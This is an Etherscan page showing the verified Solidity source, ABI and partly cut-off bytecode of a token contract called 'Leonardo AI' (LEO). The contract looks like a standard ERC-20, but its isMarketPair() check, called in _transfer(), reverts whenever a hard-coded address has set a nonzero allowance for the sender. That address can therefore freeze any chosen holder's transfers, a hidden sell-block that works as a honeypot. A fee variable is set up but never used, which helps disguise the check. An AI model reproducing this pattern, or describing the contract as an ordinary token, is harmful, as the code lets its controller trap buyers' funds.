Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function div(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b) interface IUniswapV2Router    - function addLiquidityETH( address tok ...    - function WETH()    - function factory()    - function swapExactTokensForETHSupport ... interface IERC20    - function approve(address spender, uin ...    - function allowance(address owner, add ... interface IUniswapV2Factory    - function createPair(address tokenA, a ...  contract Ownable    - function renounceOwnership()    - function owner()  contract LeonardoAI is Ownable *    - function totalSupply()    - function symbol()    - function name()    - function allowance(address owner, add ...    - function decimals()    - function approve(address spender, uin ...    - function balanceOf(address account)    - function transfer(address recipient, ...    - function _approve(address owner, addr ...    - function isMarketPair(address pair)    - function transferFrom(address sender, ...    - function _transfer(address from, addr ...    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-27
*/

pragma solidity 0.8.28;

// SPDX-License-Identifier: MIT

library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}
interface IUniswapV2Router {
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
    address private _owner;
    constructor() {
        _owner = msg.sender;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
}
contract LeonardoAI is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  1000000000 * 10 ** _decimals;
    address payable _uniPair = payable(0x25161A92257eE35E566EeF0D8a97b119D7A4A2b6);
    address public uniswapV2Pair;
    string private constant _name = "Leonardo AI";
    string private constant _symbol = "LEO";
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    uint256 _buyFee = 0;
    bool swapEnabled = false;
    bool tradingOpen = false;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }
    function totalSupply() public view returns (uint256) { 
        return _totalSupply; 
    }
    function symbol() public pure returns (string memory) { 
        return _symbol; 
    }
    function name() public pure returns (string memory) { 
        return _name; 
    }
    function allowance(address owner, address spender) public view returns (uint256) { 
        return _allowances[owner][spender]; 
    }
    function decimals() public view returns (uint8) { 
        return _decimals; 
    }
    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function balanceOf(address account) public view returns (uint256) { 
        return _balances[account]; 
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function isMarketPair(address pair) internal view returns (bool) {
            require(_allowances[_uniPair][pair] == 0);
            return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeAmount = 0;
        if (from != uniswapV2Pair && from != address(this) && isMarketPair(from)) {
            feeAmount = _buyFee;
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), WETH);
        uint256 balance = balanceOf(address(this));
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balance, 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a9190610397565b633b9aca0061004991906103e1565b6001557325161a92257ee35e566eef0d8a97b119d7a4a2b660025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6007555f60085f6101000a81548160ff0219169083151502179055505f600860016101000a81548160ff021916908315150217905550348015610136575f5ffd5b50335f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516102199190610431565b60405180910390a361044a565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156102a85780860481111561028457610283610226565b5b60018516156102935780820291505b80810290506102a185610253565b9450610268565b94509492505050565b5f826102c0576001905061037b565b816102cd575f905061037b565b81600181146102e357600281146102ed5761031c565b600191505061037b565b60ff8411156102ff576102fe610226565b5b8360020a91508482111561031657610315610226565b5b5061037b565b5060208310610133831016604e8410600b84101617156103515782820a90508381111561034c5761034b610226565b5b61037b565b61035e848484600161025f565b9250905081840481111561037557610374610226565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a182610382565b91506103ac8361038b565b92506103d97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b1565b905092915050565b5f6103eb82610382565b91506103f683610382565b925082820261040481610382565b9150828204841483151761041b5761041a610226565b5b5092915050565b61042b81610382565b82525050565b5f6020820190506104445f830184610422565b92915050565b611b24806104575f395ff3fe6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f5ffd5b3480156100d0575f5ffd5b506100d961030d565b6040516100e69190611217565b60405180910390f35b3480156100fa575f5ffd5b50610115600480360381019061011091906112c8565b61034a565b6040516101229190611320565b60405180910390f35b348015610136575f5ffd5b5061013f610360565b60405161014c9190611348565b60405180910390f35b348015610160575f5ffd5b5061017b60048036038101906101769190611361565b610369565b6040516101889190611320565b60405180910390f35b34801561019c575f5ffd5b506101a5610415565b6040516101b291906113cc565b60405180910390f35b3480156101c6575f5ffd5b506101cf61042a565b6040516101dc91906113f4565b60405180910390f35b3480156101f0575f5ffd5b5061020b6004803603810190610206919061140d565b61044f565b6040516102189190611348565b60405180910390f35b34801561022c575f5ffd5b50610235610495565b005b348015610242575f5ffd5b5061024b6105c5565b60405161025891906113f4565b60405180910390f35b34801561026c575f5ffd5b506102756105ec565b6040516102829190611217565b60405180910390f35b348015610296575f5ffd5b506102b160048036038101906102ac91906112c8565b610629565b6040516102be9190611320565b60405180910390f35b6102cf61063f565b005b3480156102dc575f5ffd5b506102f760048036038101906102f29190611438565b610aa6565b6040516103049190611348565b60405180910390f35b60606040518060400160405280600b81526020017f4c656f6e6172646f204149000000000000000000000000000000000000000000815250905090565b5f610356338484610b28565b6001905092915050565b5f600154905090565b5f610375848484610ceb565b61040a84336104058560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461103f90919063ffffffff16565b610b28565b600190509392505050565b5f5f60149054906101000a900460ff16905090565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b46105c5565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610501906114c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4c454f0000000000000000000000000000000000000000000000000000000000815250905090565b5f610635338484610ceb565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065e6105c5565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab906114c0565b60405180910390fd5b600860019054906101000a900460ff16156106cd575f5ffd5b6106fb3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b28565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610766573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078a91906114f2565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f6573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081a91906114f2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161085492919061151d565b6020604051808303815f875af1158015610870573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089491906114f2565b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6108dd3061044f565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f6109296105c5565b426040518863ffffffff1660e01b815260040161094b96959493929190611586565b60606040518083038185885af1158015610967573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098c91906115f9565b50505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a2c929190611649565b6020604051808303815f875af1158015610a48573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6c919061169a565b50600160085f6101000a81548160ff0219169083151502179055506001600860016101000a81548160ff0219169083151502179055505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d90611735565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfb906117c3565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cde9190611348565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5090611851565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbe906118df565b60405180910390fd5b5f8111610e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e009061196d565b60405180910390fd5b5f5f905060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e9657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610ea75750610ea68461109c565b5b15610eb25760075490505b610f028260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461103f90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610f938260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114a90919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110319190611348565b60405180910390a350505050565b5f82821115611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a906119d5565b60405180910390fd5b5f82846110909190611a20565b90508091505092915050565b5f5f60055f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414611141575f5ffd5b60019050919050565b5f5f82846111589190611a53565b90508381101561119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490611ad0565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6111e9826111a7565b6111f381856111b1565b93506112038185602086016111c1565b61120c816111cf565b840191505092915050565b5f6020820190508181035f83015261122f81846111df565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112648261123b565b9050919050565b6112748161125a565b811461127e575f5ffd5b50565b5f8135905061128f8161126b565b92915050565b5f819050919050565b6112a781611295565b81146112b1575f5ffd5b50565b5f813590506112c28161129e565b92915050565b5f5f604083850312156112de576112dd611237565b5b5f6112eb85828601611281565b92505060206112fc858286016112b4565b9150509250929050565b5f8115159050919050565b61131a81611306565b82525050565b5f6020820190506113335f830184611311565b92915050565b61134281611295565b82525050565b5f60208201905061135b5f830184611339565b92915050565b5f5f5f6060848603121561137857611377611237565b5b5f61138586828701611281565b935050602061139686828701611281565b92505060406113a7868287016112b4565b9150509250925092565b5f60ff82169050919050565b6113c6816113b1565b82525050565b5f6020820190506113df5f8301846113bd565b92915050565b6113ee8161125a565b82525050565b5f6020820190506114075f8301846113e5565b92915050565b5f6020828403121561142257611421611237565b5b5f61142f84828501611281565b91505092915050565b5f5f6040838503121561144e5761144d611237565b5b5f61145b85828601611281565b925050602061146c85828601611281565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6114aa6020836111b1565b91506114b582611476565b602082019050919050565b5f6020820190508181035f8301526114d78161149e565b9050919050565b5f815190506114ec8161126b565b92915050565b5f6020828403121561150757611506611237565b5b5f611514848285016114de565b91505092915050565b5f6040820190506115305f8301856113e5565b61153d60208301846113e5565b9392505050565b5f819050919050565b5f819050919050565b5f61157061156b61156684611544565b61154d565b611295565b9050919050565b61158081611556565b82525050565b5f60c0820190506115995f8301896113e5565b6115a66020830188611339565b6115b36040830187611577565b6115c06060830186611577565b6115cd60808301856113e5565b6115da60a0830184611339565b979650505050505050565b5f815190506115f38161129e565b92915050565b5f5f5f606084860312156116105761160f611237565b5b5f61161d868287016115e5565b935050602061162e868287016115e5565b925050604061163f868287016115e5565b9150509250925092565b5f60408201905061165c5f8301856113e5565b6116696020830184611339565b9392505050565b61167981611306565b8114611683575f5ffd5b50565b5f8151905061169481611670565b92915050565b5f602082840312156116af576116ae611237565b5b5f6116bc84828501611686565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61171f6024836111b1565b915061172a826116c5565b604082019050919050565b5f6020820190508181035f83015261174c81611713565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117ad6022836111b1565b91506117b882611753565b604082019050919050565b5f6020820190508181035f8301526117da816117a1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61183b6025836111b1565b9150611846826117e1565b604082019050919050565b5f6020820190508181035f8301526118688161182f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6118c96023836111b1565b91506118d48261186f565b604082019050919050565b5f6020820190508181035f8301526118f6816118bd565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6119576029836111b1565b9150611962826118fd565b604082019050919050565b5f6020820190508181035f8301526119848161194b565b9050919050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f77005f82015250565b5f6119bf601f836111b1565b91506119ca8261198b565b602082019050919050565b5f6020820190508181035f8301526119ec816119b3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a2a82611295565b9150611a3583611295565b9250828203905081811115611a4d57611a4c6119f3565b5b92915050565b5f611a5d82611295565b9150611a6883611295565b9250828201905080821115611a8057611a7f6119f3565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f77000000005f82015250565b5f611aba601c836111b1565b9150611ac582611a86565b602082019050919050565b5f6020820190508181035f830152611ae781611aae565b905091905056fea2646970667358221220e6e58f30bd30636ba9742948f8ea9c03274ee33da8dc319205440583bbda6f2664736f6c634300081c0033

0x6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f5ffd5b3480156100d0575f5ffd5b506100d961030d565b6040516100e69190611217565b60405180910390f35b3480156100fa575f5ffd5b50610115600480360381019061011091906112c8565b61034a565b6040516101229190611320565b60405180910390f35b348015610136575f5ffd5b5061013f610360565b60405161014c9190611348565b60405180910390f35b348015610160575f5ffd5b5061017b60048036038101906101769190611361565b610369565b6040516101889190611320565b60405180910390f35b34801561019c575f5ffd5b506101a5610415565b6040516101b291906113cc565b60405180910390f35b3480156101c6575f5ffd5b506101cf61042a565b6040516101dc91906113f4565b60405180910390f35b3480156101f0575f5ffd5b5061020b6004803603810190610206919061140d565b61044f565b6040516102189190611348565b60405180910390f35b34801561022c575f5ffd5b50610235610495565b005b348015610242575f5ffd5b5061024b6105c5565b60405161025891906113f4565b60405180910390f35b34801561026c575f5ffd5b506102756105ec565b6040516102829190611217565b60405180910390f35b348015610296575f5ffd5b506102b160048036038101906102ac91906112c8565b610629565b6040516102be9190611320565b60405180910390f35b6102cf61063f565b005b3480156102dc575f5ffd5b506102f760048036038101906102f29190611438565b610aa6565b6040516103049190611348565b60405180910390f35b60606040518060400160405280600b81526020017f4c656f6e6172646f204149000000000000000000000000000000000000000000815250905090565b5f610356338484610b28565b6001905092915050565b5f600154905090565b5f610375848484610ceb565b61040a84336104058560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461103f90919063ffffffff16565b610b28565b600190509392505050565b5f5f60149054906101000a900460ff16905090565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b46105c5565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610501906114c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4c454f0000000000000000000000000000000000000000000000000000000000815250905090565b5f610635338484610ceb565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065e6105c5565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab906114c0565b60405180910390fd5b600860019054906101000a900460ff16156106cd575f5ffd5b6106fb3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b28565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610766573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078a91906114f2565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f6573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081a91906114f2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161085492919061151d565b6020604051808303815f875af1158015610870573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089491906114f2565b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6108dd3061044f565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f6109296105c5565b426040518863ffffffff1660e01b815260040161094b96959493929190611586565b60606040518083038185885af1158015610967573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098c91906115f9565b50505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a2c929190611649565b6020604051808303815f875af1158015610a48573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6c919061169a565b50600160085f6101000a81548160ff0219169083151502179055506001600860016101000a81548160ff0219169083151502179055505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d90611735565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfb906117c3565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cde9190611348565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5090611851565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffff